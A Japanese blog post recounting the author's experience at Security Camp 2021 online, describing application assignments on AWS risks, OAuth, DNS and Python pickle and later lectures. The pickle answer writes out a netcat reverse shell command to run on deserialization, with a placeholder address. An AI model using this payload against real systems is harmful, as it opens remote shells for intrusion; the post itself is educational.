menu

セキュリティ・キャンプ全国大会2021オンラインに参加して

2021-11-01T18:58:57+09:002021-11-01T18:58:57+09:00

すこし前に終了証が届き,キャンプの参加記を書いたらどうかと提案されたことを思い出したので,せっかくなので書き残します.

セキュリティ・キャンプ全国大会2021オンラインについて

IPAが主催しているセキュリティ技術が学べるイベントです.

今年はオンライン形式での開催でした.

参加理由兼学びたかったこと

理由は本当に些細なものなのですが,前年度に開催されていたセキュリティ・キャンプに参加できなかったので今年こそは参加しようと思ったことがきっかけです.

また,Bトラックはプロダクトセキュリティに関する講義があり,開発技術についての知見を得たいとも考えていました.

応募課題

セキュリティ・キャンプでは応募の際に課題を提出する必要があります.

選択問題A

AWSの構成図から想定される攻撃やリスク,対策を考える問題です.

最初に目を通したとき「あ,わからん」と思いましたがGoogleさんに検索を掛けたところ,有益な情報

[https://www.mbsd.jp/research/20201217.html]

がヒットしたおかげでなんとか切り抜けました.

選択問題B

Webアプリケーションの認証・認可を試し,そうして得られた情報からメリット・デメリットなどを考察する問題です.

APIを介してサービスにアクセス可能なクライアントアプリケーションが悪意を持っていたとしても,OAuthなどの認証・認可技術を使用することでリスクを回避できる.

しかしながら,アクセストークンの漏洩など設計次第では大きな脆弱性につながってしまう.

といったことを書きました.

gothを使って実際にソーシャルログインを実装したりもしました.

選択問題C

  • HTML Living StandardからDocumentのWebIDL定義を見つける
  • Chromiumソースツリーから内部処理について読み取る

といった問題がでました.

基本的には問題の通りなのですが,自分の答えが本当にあっているのかが不安になる問題が多かったです(笑)

とりあえずわかっているところだけ説明をしたあと,正直にここまでしかわかりませんでしたと書きました.

選択問題D

  • digコマンドを用いてルートサーバを見つける方法
  • DNSの仕組みを用いた脆弱性の説明
  • Encrypted DNS が普及することのメリット・デメリット

などDNSに関する問題がでました.

digコマンドでは -t NS オプションを指定することでNSレコードを取得することができ, $ dig @<NS_recode> <domain_name> +norecurseのように権威DNSサーバへの問い合わせを逐次実施することで,キャッシュDNSサーバの代わりに名前解決ができるようになること,

キャッシュポイズニング攻撃の説明,

DoHはWebで使用されるHTTPと本質的には同じでポート番号443を再利用可能であり,ChromeなどではすでにHTTPSを指示しているため場合によってはクライアント側で設定の変更が必要ないことや,DoTはクライアントの証明・通信内容の暗号化・改ざんの検出を提供しよりセキュアな通信を可能としているが,クライアントがTLSをサポートしている必要があることを書きました.

選択問題E

Pythonの標準モジュールであるpickleの脆弱性の原因を探る問題です.

こちらも検索すると次のような勉強になる情報が見つかったため

http://mrtc0.hateblo.jp/entry/2015/12/08/230840

その情報をもとにpythonにはos.systemやsubprocessといったUnixコマンドが実行できるモジュールが存在するため,その引数としてリバースシェルのペイロードを渡しておき,os.system('nc -e /bin/bash <操作元addr> 1234')をpickle.load()でデシリアライズ時に実行することができればリバースシェルを実行できると書きました.

選考結果

はじめは応募IDを勘違いして落胆していましたが,後々通過していることに気づきました.

ほんとよかったです.

講義を受けて

基本的にはBトラックを軸にして講義を選択していましたが,Bトラックの講義がない日はCトラック(脅威解析トラック)を受けていました.

Cトラックはほんとに難しかったという記憶しかないです.あまり踏み込んでこなかった領域でもあったのですが,それでも楽しかったです.

おわりに

セキュリティキャンプに参加した理由として 「プロダクト実装手段の幅を広げたり 自分が知りえなかった技術について触れたい」 がありましたが、この通り多くの知見を得ることができました。

特にB3の分散アーキテクチャの開発と運用で学んだことは、のちに神奈川学生ITコンテストの作品にも活かすことができました。 今後はこれ以外にも学んだことで有効活用できていない技術も積極的に使っていけたらなと考えています。